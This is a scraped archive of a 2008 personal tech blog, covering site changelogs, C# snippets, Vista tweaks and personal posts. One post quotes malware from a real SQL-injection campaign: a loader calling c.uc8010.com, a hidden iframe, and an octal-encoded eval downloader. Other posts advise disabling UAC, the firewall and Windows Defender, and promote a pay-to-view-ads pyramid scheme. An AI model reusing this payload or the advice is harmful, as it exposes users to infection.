- recent referrers links now contain tooltips
- recent referrers now have the leading "www." and "en." stripped out
- tags and categories are now sorted alphabetically instead of by id.
- added administration subsection "user management" and functionality
- added rejection handling for users at banlevel 3. additionally, these activities will no longer count toward statistics.
- major: added search functionality, with highlights and substring results. look in the sidebar.
- added "cliff dwellings" section to the multi-monitor article.
- seo: changed font-size in some articles to h# tags
- updated sidebar content styles
bug fixes:
- zi255.com now renders properly in third-party browsers such as firefox.
- changed username from an nvarchar(20) to a varchar(50) to correct a storage bug.
- entries viewed through the entry viewer now iterate hits by one.
- viewing entries in the entry viewer will no longer occasionally truncate and save entry bodies. oops.
- eliminated a "string or binary data would be truncated" message.
- page_load will no longer attempt to decode search results from referrers that aren't search engines.
Post.aspx?Title=Past+Week+of+Site+Work+on+Zi255+(ZI255+8)
01/13/2008 06:12 PM -
when writing some types of software, you have to allow for user input. some of it you can control, some of it you can't. for example, my blogs allow for user input in a variety of ways:
- search textboxes
- comments textboxes
- user info textboxes
- referrer strings
- assorted request headers
all of these inputs end up being stored in the sql database, and some of them end up being rendered to future user requests. obviously, the inputs are tested for sql injection and xss (cross-site scripting) attacks before any kind of action is performed on them, but there are other considerations. not everything someone types needs to be shown to other people.
most popular blogs and similar websites get alot of spam in the form of comments and referrers (accordingly known as comment spam and referral spam). because user comments and referrers are frequently displayed to future people, spammers use this as an attack to gain themselves more incoming links and even pagerank boosts.
wordpress and other popular blogging / cms solutions come with spam filters built-in; but when you write your own engine like i have, you have to create your own solution for these types of attacks. i have a multi-tiered structure in place to deal with these types of spam:
1. referrers, search queries, and comments are not displayed when they came from any user with a banlevel above 2. comments from bl1 users may be rendered after i have approved them.
2. all user inputs are validated before being stored to sql.
3. once saved, all referrers, search queries, and comments are sent through a banned words filter before being rendered.
simply put, the banned words are stored in a text file. whenever i render a search query, referrer, or comment to someone, i run it against this text file to ensure it doesn't contain any of the words included in the file.
obviously, this text file contains many instances of profanity and slang; however, i have found it to be an effective deterrent against referrer strings as well. for example, if someone comes in from "freepoker.com", i check to see if freepoker.com contains a link to my site. in almost every case, it does not. by adding the term freepoker to my banned words text file, this referrer will not appear as a link in the "recent referrers" section.
how do i do it? i simply wrap the relevant code blocks in an if statement that calls this function:
private bool containsbannedwords(string txt) {
string[] bannedwords = system.io.file.readalltext("ban.txt").split('\n');
string[] words = mv4.misc.stripspecialcharacters(txt).split(' ');
for (int x = 0; x
Post.aspx?Title=C%23%3a+Programmatically+Determine+if+a+String+Contains+Specific+Words
01/13/2008 05:44 PM -
anyone who's spent any time researching seo at all has realized the importance of meta tags. it's easy to put them into your html as static markup, but what to do when you want them to contain dynamic content?
i ran into this question a couple blog engines ago when i was first setting up my tactical seo manipulation subroutines. fortunately, the good people on the .net team (headed by scott guthrie) were nice enough to grace us with a way to do exactly that.
the htmlmeta object was designed to embed into the page header, with the end result of being rendered as a <meta> tag. it takes any name and content as strings, so you're not limited to the standard meta tags like author, robots, and keywords.
here's how zi255 handles meta. first, the static values are added for default content:
system.web.ui.htmlcontrols.htmlmeta
metaauthor = new htmlmeta(),
metacopy = new htmlmeta(),
metadate = new htmlmeta(),
metabots = new htmlmeta(),
metakeywords = new htmlmeta(),
metadesc = new htmlmeta(),
metaname = new htmlmeta(),
metagen = new htmlmeta();
// author
metaauthor.name = "author";
metaauthor.content = "slackmaster k";
// copyright
metacopy.name = "copyright";
metacopy.content = "copyright " + datetime.now.year.tostring() + " slackmaster k";
// date
metadate.name = "date";
metadate.content = datetime.now.tostring("mm/dd/yyyy hh:mm:ss");
// robots
metabots.name = "robots";
metabots.content = "all";
// generator
metagen.name = "generator";
metagen.content = "i did it my damned self. stop looking at my code.";
// name
metaname.name = "name";
metaname.content = configurationmanager.appsettings["appname"];
// description
metadesc.name = "description";
metadesc.content = configurationmanager.appsettings["appname"] + " - " + configurationmanager.appsettings["appdescription"];
// keywords
metakeywords.name = "keywords";
metakeywords.content = "zindex,z-index,maximum,verbosity,maximum
verbosity,developer,development,c#,asp,asp.net,asp.net
2.0,vb,vb.net,ajax,ado,ado.net,sql,sql server,tsilb,slackmaster k,
caches,dos,vista,multimon,multi-monitor,multiple monitors,dualview,";
this.page.header.controls.add(metaauthor);
this.page.header.controls.add(metacopy);
this.page.header.controls.add(metadate);
this.page.header.controls.add(metabots);
this.page.header.controls.add(metaname);
this.page.header.controls.add(metagen);
this.page.header.controls.add(metadesc);
this.page.header.controls.add(metakeywords);
all this code ends up rendering this upon the first request:
<head>
...
<meta name="author" content="slackmaster k" />
<meta name="copyright" content="copyright 2008 slackmaster k" />
<meta name="date" content="01/13/2008 05:15:05" />
<meta name="robots" content="all" />
<meta name="name" content="z-index 255" />
<meta name="generator" content="i did it my damned self. stop looking at my code." />
<meta name="description" content="z-index 255 - the ongoing saga of a sr applications developer ii for a major telecomm" />
<meta name="keywords" content="
zindex,z-index,maximum,verbosity,maximum verbosity,developer,
development,c#,asp,asp.net,asp.net 2.0,vb,vb.net,ajax,ado,ado.net,
sql,sql server,tsilb,slackmaster k,slackmaster,caches,dos,vista,
multimon,multi-monitor,multiple monitors,dualview,best,xbox,360,
commercial,ever,panoramas,the,anasazi,manitou,cliff,dwellings,why,
can't,change,affinity,for,audiodg.exe,alternator,installed,ops,
check,good,dreamscene,cannot,run,total,desktop,size,exceeds,
primary,video,adapter,texture,alternator,going,how,fold,old,glory,
four,days,zi255,work,have,better,security,than,harvard,compusa,
assets,bought,systemax,tigerdirect" />
</head>
later on in the page, when you have determined which content to render, you can programatically remove or change the "keywords" meta tag and thus alter the "keyword
Post.aspx?Title=C%23+%2f+ASP.NET%3a+Programmatically+Defining+META+Tags+for+SEO
01/13/2008 03:52 PM -
this commercial was by far the best microsoft ever made for the xbox 360, but the lawyers refused to let them air it. worth a watch.
Post.aspx?Title=Best+XBox+360+Commercial%2c+Ever
01/13/2008 12:10 AM -
today i went to the anasazi / manitou cliff dwellings today and did the tourist thing. i had already been there several times, but this time i had my handy 7.1mp canon powershot sd1000 digital camera. so i took my customary assload of pictures and made some panoramas. i have added some of these panoramas to the multiple monitor resources page, including my customary 8200x1050 rectangle cutouts and autostitch raw dumps.
unfortunately, autostitch crapped out on some of the panoramas. for some reason, it always consumes more memory than i allocate in its preferences panel, eventually reaching the limit of my physical ram and crashing out of the rendering process. you didn't miss much; just a couple more panoramic images of the face of the dwellings. at least several came out.
cliff dwelling resources:
satellite image
map to cliff dwellings
tourist info
Post.aspx?Title=Panoramas+of+the+Anasazi+%2f+Manitou+Cliff+Dwellings
01/12/2008 05:32 PM -
as some of you may recall, i mentioned moving background processes to specific cores to offload cpu 0 and improve performance in multicore systems running single-threaded applications and games. i had noticed difficulty in setting the affinity for "system" and "audiodg.exe", however; and figured i'd look into it.
i dismissed the issue with "system" as an obvious case of system protection; however, audiodg sounds like part of the windows audio subsystem, and didn't seem like something that would need this kind of protection. so i asked larry osterman, who's been working on the microsoft windows audio team for years, and is a prolific microsoft blogger. i knew he could answer my question.
as it turns out, audiodg.exe is responsible for the drm decryption process that caused so much controversy in 2007. audiodg turns off the drm protection on a media file before it can do some forms of processing; thus it must be protected from certain types of access. if it were not protected in this manner, a malicious hacker could break the drm system in the same manner decss was used to break dvd encryption (which is how this whole overblown issue got started); and the terrorists win. here are the contents of our e-mail conversation.
kevin:
simple question -- you're probably the best one to answer this; why can't i set the affinity of audiodg.exe in vista? i have a quad core.
larry:
because it runs as a protected process. why would you want to set the processor affinity of audiodg.exe?
kevin:
because many applications and games are not multithreaded or multi-processor aware (or it's done poorly), they sometimes have a tendency to spike the one cpu they do see (usually cpu 0 in my limited experience) and leave the others unaffected. therefore, my logic was that if i offload everything else from cpu 0, that spike wouldn't cause the rest of the system to lag as much.
this was pretty much an experiment, as i've only been using multi-core processors for about six months; and my previous was a core 2 duo. it seems to be working for the most part.
i just wish more developers would learn to multithread their software; especially the processor-intensive portions. i understand not being able to change some things (like 'system')
audiodg hasn't caused me any problems i know of, i merely asked because it seemed like an odd thing to protect in that manner. thanks for answering my question.
larry:
the audio engine is multithread aware - in particular, the audio engine runs one thread per audio endpoint that is currently rendering audio.
audiodg is protected because it's part of the "protected" audio path - we remove the drm for drm'ed content early in the rendering process so we can do the necessary processing on that content (volume, etc) without having to worry about the drm stuff. the protected environment allows us to do that because it's resistant to tampering (which is also why you can't change the thread affinity).
kevin:
ahh, now i understand. i didn't mean to imply that audiodg was causing threading problems; that part was a rant about third-party software. thanks again.
larry:
i didn't think that you did mean to slam audiodg - i fully understand the "i want to tweak everything running on my system to see if it makes things better" mode of operation. of course the challenge there is figuring out if your tweaks actually made a difference - there are easily hundreds of "tweak xp" guides out there that feature tweaks that don't actually make anything better - some of them even make things worse.
i just wanted to provide a full explanation of what's going on. btw, if you want to try to play with this, you can create this registry key:
hklm\software\microsoft\windows\currentversion\audio
and set a reg_dword named "disableprotectedaudiodg" to 1. after restarting the audiosrv service (net stop audiosrv/net start audiosrv from an elevated command prompt), audiodg will restart outside the protected environment.
this is fully documented and intended to al
Post.aspx?Title=Why+Can't+I+Change+the+Affinity+for+Audiodg.exe%3f
01/11/2008 04:39 PM -
as you can see, my new alternator has been installed and i picked the car up at lunch. i'm happy to report that the car hasn't had any electrical problems since. it's starting to snow a little, but i'll probably still go out for a drive for the first time in several weeks. hopefully this weekend will yield more drivable weather.
more panoramic wallpapers will be here when i get around to it.
related posts:
1990 mitsubishi eclipse gs 1.8l needs new alternator
alternator install ordered
Post.aspx?Title=Alternator+Installed%2c+Ops+Check+Good
01/11/2008 10:02 AM -
i mentioned this as item #54 in a long list of things that bother me about windows vista, and enough people have googled it now that i figured i'd add some detail to it.
dreamscene can only map as much space as your primary video card when the monitors are placed diagonally. so, if your card can run two monitors at 1920x1440, your maximum mappable texture area is 3840x2880. if you have any secondary video cards connected, they are disregarded when this math is performed.
so let's say you're like me. i have three sapphire ati radeon x1650's, each of which can support 1920x1440. the primary has the same maximum texture size of 3840x2880, but my actual desktop spans 8200x1050. 1050 fits into 2880, but 8200 does not fit into 3840; thus i cannot use dreamscene without disabling four screens.
Post.aspx?Title=DreamScene+Cannot+Run%2c+Total+Desktop+Size+Exceeds+Primary+Video+Adapter+Texture+Size
01/10/2008 11:25 PM -
some of you may recall my mention of needing a new alternator. well, i finally got around to sending the car in for the install.
i have the haynes manual, why didn't i just do it myself and get it for $100 instead of $450? i freely admit it:
1. my laziness overrode my cheapness.
2. i don't trust myself to do it right. i was a fighter mechanic, not an auto mechanic.
3. i didn't want to go out and buy the tools, only to have them sit in a box from that point on, staring back at me wishing they weren't so disused.
when i bought this battery brand new a few weeks ago, it made it to mcdonald's and back a few times before it finally died. by this logic, i figured one charge could get me to midas (about 30% farther away) once.
i hooked up my emergency jump kit and started the car, which promptly died after i disconnected the booster kit. so i had j give me a jump start. i was able to pull out of the driveway and stop at the bottom of the hill in front of our house before it died - i got about 20 feet.
so we tried the jump start again, but this time we just went terminal to terminal instead of terminal to ground on my car's side. lo and behold, ignoring the "proper" process provided a better charge and i was able to limp my way over to midas.
the car died a few times on the way, but i was able to drop it back into gear without stopping. toward the end of the two-mile trip, i had to keep the engine at 2000rpm just to keep it running. obviously, this led to problems at red lights, but i was able to get through those parts with judicial use of the handbrake.
so the car made it to the mechanic without having to be towed, and it should be ready tomorrow morning; though i probably won't pick it up until after work. then i can go back to my aimless wandering and picture shooting.
the above permalink to the original article points to the new zi255 engine, so if you're not using internet explorer, just click this one and you should be able to see it. yeah, i know, design for the little guy; but that's a rant for another time.
Post.aspx?Title=Alternator+Going+In
01/10/2008 09:25 PM -
i get asked several hundred times a day, what's the proper method of folding the us flag? well, actually, i've never been asked that; but i'll tell you anyway. this little gem comes from my repository of old text files.
yeah, i was in the air force, and the air force doesn't really do the ceremony like they should (like the other branches do), but this seems like the kind of thing people might see and think "oh, that's interesting"; so here it is.
step 1: to properly fold the flag, begin by holding it waist-high with another person so that its surface is parallel to the ground.
step 2: fold the lower half of the stripe section lengthwise over the field of stars, holding the bottom and top edges securely.
step 3: fold the flag again lengthwise with the blue field on the outside.
step 4: make a triangular fold by bringing the striped corner of the folded edge to meet the open (top) edge of the flag.
step 5: turn the outer (end) point inward, parallel to the open edge, to form a second triangle.
step 6: the triangular folding is continued until the entire length of the flag is folded in this manner.
step 7: when the flag is completely folded, only a triangular blue field of stars should be visible.
Post.aspx?Title=How+to+Fold+Old+Glory
01/08/2008 03:20 PM -
i've been doing more work on zi255, and have decided to post the changes less frequently so as not to saturate the blog with updates about the blog. here are the changes i have made there since 01/04/08:
new querystrings added:
- ?req=post (entry permalinks)
- ?req=tag (all entries for a specific tag)
- ?req=article (articles)
- ?req=tags (list of all tags)
- ?req=cat (all entries for a specific category)
- ?req=arch (archives)
- ?req=allentries_table (list all entries by date posted)
- ?req=allentries_alpha_table (list all entries alphabetically)
- ?req=allentries_hits_table (list all entries by popularity)
other:
- added several statistics
- added a way to stop specific entries from being truncated in grid view
- updated article content
- improved handling for ip address resolution
- improved handling for incoming searches
- assorted minor improvements
Post.aspx?Title=Four+Days+of+ZI255+Work+(ZI255+7)
01/08/2008 08:17 AM -
a recent slashdot article mentions a massive sql injection attack in which some 70,000 websites were affected. details of the attack's intent are vague, but it looks like a case of simple cross-site scripting.
i was interested, because i saw some attempts against damnednice.com in which people inserted the same text into my "search" textbox. fortunately for me, however, i have it set to reject all submissions with possible html, javascript, or sql injection attempts. suckers.
apparently, if you google for uc8010.com you get a list of affected sites. the code being used for the attack is still online as of this writing, so i googled and saw that the affected sites are loading a script from uc8010 which looks like this:
function setcookie(name,value) {
var days = 1;
var exp = new date();
exp.settime(exp.gettime() + days*1*60*60*1000);//days*24*60*60*1000;
document.cookie = name + "="+ escape(value) +";expires="+ exp.togmtstring(); }
function getcookie(name) {
var arr = document.cookie.match(new regexp("(^| )"+name+"=([^;]*)(;|$)"));
if(arr != null) return unescape(arr[2]);
else {
document.writeln("<script src=http:\/\/c.uc8010.com\/0\/w.js><\/script>");
setcookie("lin","ok");
return null; } }
getcookie("lin")
clearly, the script is just loading another script at http://c.uc8010.com/0/w.js. so what does that one do? heh, that one's a bit more complex.
document.writeln("<iframe src=http:\/\/c.uc8010.com\/1.html width=1 height=0><\/iframe>");
document.writeln("<script src=\'http:\/\/s106.cnzz.com\/stat.php?id=742266&web_id=742266\' language=\'javascript\' charset=\'gb2312\'><\/script>");
document.writeln("<script src=\'http:\/\/c.uc8010.com\/0\/007.js\' language=\'javascript\'><\/script>");
eval("\146\165\156\143\164\151\157\156\40\147\156\50\162\122\141\107\105\171\153\125\61\51\15\12\173\15\12\166\141\162\40\117\162\150\62\75\167\151\156\144\157\167\133\42\115\141\164\150\42\135\133\42\162\141\156\144\157\155\42\135\50\51\52\162\122\141\107\105\171\153\125\61\73\15\12\162\145\164\165\162\156\47\176\164\155\160\47\53\47\56\164\155\160\47\15\12\175\15\12\146\165\156\143\164\151\157\156\40\104\157\167\156\105\50\106\151\154\145\125\122\114\54\114\157\143\141\154\106\151\154\145\51\15\12\173\15\12\164\162\171\15\12\173\15\12\166\151\160\75\106\151\154\145\125\122\114\73\15\12\166\141\162\40\143\150\145\156\172\151\75\167\151\156\144\157\167\133\42\144\157\143\165\155\145\156\164\42\135\133\42\143\162\145\141\164\145\105\154\145\155\145\156\164\42\135\50\42\157\142\152\145\143\164\42\51\73\15\12\143\150\145\156\172\151\133\42\163\145\164\101\164\164\162\151\142\165\164\145\42\135\50\42\143\154\141\163\163\151\144\42\54\42\143\154\163\151\144\72\102\104\71\66\103\65\65\66\55\66\65\101\63\55\61\61\104\60\55\71\70\63\101\55\60\60\103\60\64\106\103\62\71\105\63\66\42\51\73\15\12\166\141\162\40\160\163\75\143\150\145\156\172\151\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\42\115\151\143\162\157\163\157\146\164\56\130\115\114\110\124\124\120\42\54\42\42\51\73\15\12\166\141\162\40\154\157\166\145\75\143\150\145\156\172\151\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\42\101\144\157\144\142\56\123\164\162\145\141\155\42\54\42\42\51\73\15\12\154\157\166\145\133\42\164\171\160\145\42\135\75\61\73\15\12\160\163\133\42\157\160\145\156\42\135\50\42\107\105\124\42\54\166\151\160\54\60\51\73\15\12\160\163\133\42\163\145\156\144\42\135\50\51\73\15\12\143\150\151\156\141\75\147\156\50\61\60\60\60\60\51\53\114\157\143\141\154\106\151\154\145\73\15\12\166\141\162\40\150\110\146\44\122\66\75\143\150\145\156\172\151\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\42\123\143\162\151\160\164\151\156\147\56\106\151\154\145\123\171\163\164\145\155\117\142\152\145\143\164\42\54\42\42\51\73\15\12\166\141\162\40\126\147\104\156\132\130\110\164\67\75\150\110\146\44\122\66\133\42\107\145\164\123\160\145\143\151\141\154\106\157\154\144\145\162\42\135\50\60\51\73\15\12\143\150\151\156\
Post.aspx?Title=I+Have+Better+Security+than+Harvard
01/08/2008 07:27 AM -
remember that great deal i got on two intel core 2 quad processors at compusa's going-out-of-business sale? looks like they've been snatched up by the owners of tigerdirect.
excerpted from artstechnica:
compusa will live on, thanks to a deal with electronics marketer systemax. systemax, which owns popular computer parts reseller (and compusa competitor) tigerdirect, announced yesterday that it has entered into an agreement to purchase the compusa brand, trademarks, and e-commerce business. it also plans to acquire select assets and retail stores from the company, and says that it expects to close various parts of the deal throughout the first quarter of the year.
"we believe the value of the compusa brand remains very high. the company has a long legacy of value pricing, service and customer loyalty among consumers nationwide," said systemax ceo richard leeds in a statement. "we view this acquisition as a strong complementary business to our tigerdirect operation."
the announcement comes exactly a month after compusa announced that it had been sold to restructuring firm gordon brothers group to close the remainder of its 103 stores. at the time, gordon brothers group said that it planned to sell select stores in key markets in addition to compusa.com and the company's tech service business, and it was widely rumored that tigerdirect would swoop in to buy those assets. retail stores that weren't in the process of being sold were closed just after the holidays.
Post.aspx?Title=CompUSA+Assets+Bought+by+SysteMax+%2f+TigerDirect
01/08/2008 06:55 AM -
so i woke up nice and early today and started making breakfast. i retrieve my oatmeal packets and vitamin-d milk, microwave two minutes, and sit down to enjoy a bowl of microwave oatmeal. i reach into the fridge to get a mountain dew, only to realize the cardboard box containing the soda is soggy. several seconds of investigation reveal the freezer frost has melted.
i noticed the mountain dew itself was still cold, and the refrigerator was indeed running. i was the unwitting victim of an automatic defrost cycle. no longer able to trust the milk, i discarded it and the oatmeal i had just prepared.
so now i am left with a paradox: have my previous refrigerators had this and simply been stealthy enough to elude detection? have i been drinking spoiled milk? is it simply turned off for a short enough time not to matter? perhaps full-size fridges don't have an automatic defrost cycle.
Post.aspx?Title=Automatic+Defrost+Cycle
01/06/2008 03:18 PM -
here we have a youtube video about the second bubble. yeah, we're having a second one, didn't ya know? see how many references you recognize.
Post.aspx?Title=Video+about+Bubble+2.0+to+%22We+Didn't+Start+the+Fire%22
01/05/2008 08:13 PM -
i just looked at z-index 255 in firefox, and... wow! firefox seems to be rendering both pages wrong, but really messed up on zi255. i'm not sure whether it's mozilla or microsoft who has been blatantly disobeying the standards, but i'm prone to blame mozilla (because disobedience of standards leads to things breaking, not working better).
so i staged an experiment: i performed my normal day to day normal day-to-day browsing in firefox instead of internet explorer, which i usually use. i must say, i was less than impressed - firefox doesn't seem to obey basic css rules. firefox seems to get the basic pages pretty much right, or at least close enough that the untrained eye couldn't tell the difference; but when i threw complex pages at firefox, it choked. i've seen it ignoring important properties such as width, height, top, left, and even position. no wonder zi255 doesn't render right in firefox!
below i have included some clicky thumbnails of what each of my two blog sites look like in firefox vs. internet explorer. if you're using firefox or some other third-party browser, look at the different screenshots and tell me which browser you think is rendering the page properly.
site internet explorer (good) firefox (bad) z-index 255 maximum verbosity
Post.aspx?Title=I+Recommend+Internet+Explorer
01/05/2008 02:36 AM -
Post.aspx?Title=Super+Mario+Bros.+Level+Recreated+in+3D+Using+Doom+Engine
01/04/2008 11:42 PM -
bux.to allows you to get paid to sit there and stare at ads for 30 seconds at a time. the loophole, obviously, is that you don't actually have to look at it, as long as you have it open. they have a tiered referral payment structure, just like any other pyramid scheme.
they do not collect any personal information, and will deposit your earnings directly into your paypal account as often as you would like (once you've made at least $10. i plan to do it once a week or so).
while anyone is welcome, i particularly recommend this to those of you who either don't have a job, or have nothing to do while you're at work. for example, if some 16-year-old out there manages $50/day, that's better than most jobs they're qualified for (which isn't many).
so far, i've made $.22 after viewing 22 ads. obviously, referring other people will increase that number. so sign up and view some ads, then refer some more people and make money off them.
you make a penny for every time you or one of your referrals views an ad - so hopefully your referrals will be really lazy people who don't have anything better to do than to make two cents per minute.
obviously, two cents per minute isn't enough to live on - and hardly counts as auxilliary income. it depends heavily on your referrals, so you have to push for them to sign up with you as a referrer. so sign up, say i referred you (my nick there is "tsilb"), and make me some money. then go get a whole bunch of people to use you as their referrer. that simple.
there is no software to install; they just show you an ad in your web browser. you may get an error saying you must install flash to view some ads, but you don't actually need to.
i read some unverifiable testimonials indicating some people are making upwards of $6000 in a month; and chris pirillo mentioned making two bucks while he was out taking a leak. kickass.
Post.aspx?Title=Get+Paid+to+Surf+the+Web+and+Manipulate+People
01/04/2008 12:47 AM -
this is the packaging in which super mario galaxy shipped, for the nintendo wii platform. if you examine the lettering, you will see stars in the lower corners of some letters: u, r, m, r, g, a, and y. they spell out "u r mr gay". there's just no way this could be a coincidence; nintendo let one slip by qa.
this game is intended for kids. what's your opinion? leave a comment.
digg it!
Post.aspx?Title=Easter+Egg+in+Super+Mario+Galaxy
01/03/2008 02:16 AM -
big changes today at z-index 255, all in the user information section. it now displays a great deal of what information i collect about you for statistical analysis. you may as well take a look, since i already have the information anyway. go to the "navigation" menu and click "user info".
note that i added an accordion. thus, you can click "general user info", "your visits", and "your search queries" to expand the commensurate field of information. it works the same way as the new sidebar menu.
Post.aspx?Title=Today's+ZI255+Work+(ZI255+6)
01/02/2008 07:15 PM -
i just had a hillarious chat in my live chat room, and felt compelled to share it with you. you'll get a kick out of the end.
[17:32:20] <_user_> : use vi$ta
[17:34:42] <tsilb> : i am using vista, why do you think i'm having problems
[17:34:58] <_user_> : go back to xp
[17:35:14] <tsilb> : bah
[17:35:17] <_user_> : and the problems will be gone
[17:35:20] <tsilb> : reinstalling is too much work
[17:35:53] <_user_> : i use xp corp & unbuntu
[17:36:09] <_user_> : ubuntu
[17:36:49] <_user_> : try ubuntu it's free software better than vista
[17:37:19] <tsilb> : no thanks, i prefer to have my existing applications continue working than having to learn new ones
[17:37:54] <_user_> : just use ubuntu linux for the web
[17:38:08] <_user_> : stop the hackers cold
[17:38:27] <tsilb> : so i should boot to a whole different os every time i want to go to a website? that's like 50 times a day
[17:38:59] <_user_> : i know you have more than one computer
[17:39:08] <tsilb> : yeah, i also have more than one firewall
[17:39:31] <tsilb> : and i'm not about to go and effectively decommission a computer so i can feel safe, when i already do
[17:39:43] <tsilb> : i tried it in a virtual pc, didn't like it
[17:39:59] <_user_> : i use moble drives
[17:40:15] <tsilb> : mobile drives? you mean flash drives?
[17:40:32] <_user_> : right now running pclinuxos
[17:40:49] <tsilb> : why
[17:40:56] <_user_> : no not flash dr
[17:41:49] <tsilb> : laptop hard drives? external?
[17:42:23] <_user_> : i use a removeable mobile media hard drive tray
[17:42:32] <tsilb> : ahh
[17:42:42] <tsilb> : is that like a hot swap drive bay?
[17:43:00] <_user_> : i have one computer that uses 3 dr
[17:43:18] <_user_> : yes hot swap
[17:43:29] <tsilb> : yeah my server has 5
[17:43:57] <_user_> : run linux xp mac
[17:44:33] <_user_> : never use xp for internet
[17:44:39] <tsilb> : the server is 2003 datacenter edition
[17:45:00] <tsilb> : and i'll browse the internet on whatever platform i choose
[17:45:09] <_user_> : for home use only
[17:45:23] <tsilb> : dude, i'm a professional web developer, i need it for work
[17:45:45] <_user_> : it guy oh
[17:46:10] <tsilb> : and i develop in .net; not your hippie open-source crap
[17:46:39] <_user_> : stay with winblows dude
[17:47:02] <tsilb> : ahh okay, you just seemed to be leaning toward the linux side
[17:47:55] <_user_> : windows for internet use no linux for internet use yes
[17:48:23] <tsilb> : i've been using windows for my internet access for about 15 years now, and it seems to be working just fine
[17:48:39] <tsilb> : zomg look i just opened a website
[17:49:14] <_user_> : which so do hackers go after
[17:50:13] <tsilb> : for incoming attacks, two firewalls is more than sufficient. for attacks that piggyback on my outgoing connections, it's a simple matter of patching regularly and staying on the right side of the tracks, so to speak
[17:50:34] <_user_> : your right
[17:51:14] <tsilb> : so do you just go into chat rooms and preach your messages, or have you discovered these great "blog" things where you can collect all your thoughts and publish them?
[17:51:35] <_user_> : i will gave you may ip address and let you try to hack it
[17:51:43] <tsilb> : i'm not a hacker, i'm a developer
[17:52:09] <_user_> : that's good news
[17:52:24] <tsilb> : did you come in through ustream or my website?
[17:52:44] <_user_> : your website
[17:52:57] <tsilb> : are you 86.160.[xxx.xxx]?
[17:53:07] <_user_> : yes
[17:53:10] <tsilb> : :)
[17:53:21] <tsilb> : you googled for joomla session value gets lost
[17:53:55] <_user_> : having a good time
[17:54:13] <tsilb> : well, as a developer, i can l
Post.aspx?Title=Dude%2c+Use+Ubuntu.+All+the+Cool+Kids+are+Doing+It.
01/02/2008 11:01 AM -
1. reference books make you look ignorant. people who understand something don't buy books to learn it.
2. when you move, you have to lug them with you.
3. google is faster, bigger, and better.
4. paper is an archaic technology.
5. books take up space. when you have more than one book open, you look messy. when you have more than one website open, you look busy.
Post.aspx?Title=Top+5+Reasons+not+to+Pack+your+Cubicle+or+Office+with+Books
01/02/2008 03:06 AM -
this entry is in direct response to asktog's post entitled "top 10 reasons to not shop on line". split infinitives and broken words aside, he makes some points that would seem valid to a new user who just picked up an aol trial cd. fortunately, we're a little above that level here, so let the debunkery commence.
tog seems to be under the impression that online shopping is "scary, difficult, and undependable". apparently he's been clicking popups he shouldn't have, or he would certainly understand that companies like paypal and newegg have had these ideas six feet under for years.
i'm not saying that all online shopping sites are safe to use. i'm saying that the overall idea of shopping online is a good one. for the purpose of this entry, i'll assume a shopper has some common sense. before you buy something online, search for them. if google pulls up under 100 instances of their name, chances are they're not for real or they're new. when buying from a small company online, always use paypal.
asktog's top 10 list (top 10 reasons to not shop on line):
10. it's faster to stand in line on the phone or, in some cases, drive to the store, than it is to wait for the pages to load.
9. stupid "cry wolf" promotional efforts make a site and, by extension, the company appear dim witted.
8. information for making a buying decision is either insufficient, unintelligible, or just plain wrong.
7. search can’t find.
6. "ha, ha, betcha can’t buy it!"
5. they upset the shopping cart
4. the site seems to say, “we suggest you buy elsewhere”
3. customers can check in, but they can't check out
2. after the sale service
1. buyer protection problems
my list in response (top 7 reasons to shop online):
1. speed
it's faster to order something from a major online vendor than it is to drive to the store and pick up your part. i will, however, concede that driving to the store usually results in having the item in hand sooner. that is, assuming the part is in stock and you don't have to ask some useless clerk with a double-digit iq and a four-digit income.
oh, you mean it may be faster to go to the store if you're on dialup? are there still people who don't have broadband and use the internet for anything serious? if you don't have broadband, just tell people you don't have an internet connection. it's less embarrassing because you can say you're doing it out of principle as opposed to a lack of basic math skills.
2. reviews, research, and peer support
obviously, marketing people are practiced liars. they employ tactics that are misleading, immoral, and downright desceptive. this is true both in the online and offline markets. the difference, of course, is that the internet provides the customer with far greater resources than a store when deciding whether or not to buy something.
physical stores do not offer peer reviews or forums. many online stores do, and you can see what other shoppers have said about a specific product or store. if that fails, you can always google it.
3. plentitude of information
as you may be aware, the internet is a huge collection of information. recent estimates indicate there is as much as 30 petabytes of information on the internet, equivalent to 15 trillion printed pages of text. surely there's something about the store or product in all that? you can always google it.
4. search can find
the great thing about the internet is that you don't have to go places - the stores are all at your fingertips. if you can't find a product at the store you're visiting, you can find it at another store without having to remember where you parked. plus, the customer service phone number on most stores' websites is closer than the customer service department on the other side of the building. remember, google detects many typos and accepts boolean operators.
5. waiting in line
let's face it - most people do their shopping during the day. it's a recursive cycle; you have to wait in line for all the other shoppers, but in turn you're delaying the shopp
Post.aspx?Title=Top+7+Reasons+to+Shop+Online
01/02/2008 01:47 AM -
so, apparently now i'm doing top 10 lists. the title kind of explains the intent of this post, so i won't bother explaining it for you. some of these tips also apply to windows xp.
1. add 4gb usb2 flash drive and use readyboost
readyboost speeds up vista machines by precaching specific system data that is used frequently or at boot time. it also helps superfetch.
2. buy a router and disable windows firewall
most routers have a built-in hardware firewall and will block incoming attacks without your os having to do it for you. hardware firewalls are more effective and harder to hack. besides, aren't most of us running home networks by now?
3. disable uac
uac is a type of nagware built into vista that prompts you before programs run and before programs can use administrator rights. it doesn't really slow down the os, but it stops the task until the user intervenes. before i disabled uac, i had to click dozens of times within a few short hours (i disabled it rather quickly after installing vista).
4. disable search indexing
the indexing service is constantly running, scanning your hard drives and maintaining an index of where your files are. but, in vista, it goes so much further - indexing your e-mail and browsing history, for example. besides, if you need to run something that's not in your start menu, either put it in the stat menu, add the directory to %path%, or learn how command lines work.
5. disable windows defender
worst anti-spyware solution ever. plus, it bugs you about downloading new updates about three times a week. seriously, it's just easier not to download spyware in the first place.
6. disable hibernation
when you sit down at your computer, you want to have it usable right away, right? do you really want to sit through what is basically a fast boot, while your system tries to read two gigs of data from a hard drive that probably only pushes out 10-30mb/s? plus, it's just one more thing running, and more things running means fewer cpu cycles for other procesess.
7. disable unneccessary services
extra crap running on your system, performing no useful function, wasting your cpu cycles and memory. you can't see them because services don't have a ui, so you don't neccessarily notice going dracula on your resources. this one is such a big deal that i wrote an entire post on the subject.
8. disable tablet pc optional components (for non-tablets)
why would you need software running on your desktop or laptop that's designed to run a tablet pc's ui? if your computer didn't come with a stylus, you don't need this one.
9. remove unused startup items
another one i wrote a whole post on. this one is especially bad when your computer came with bundled software, or you've installed alot of applications. do ten programs really need to check for updates twice a week? do they really need to keep running all day just in case this schedule comes up?
10. disable system restore
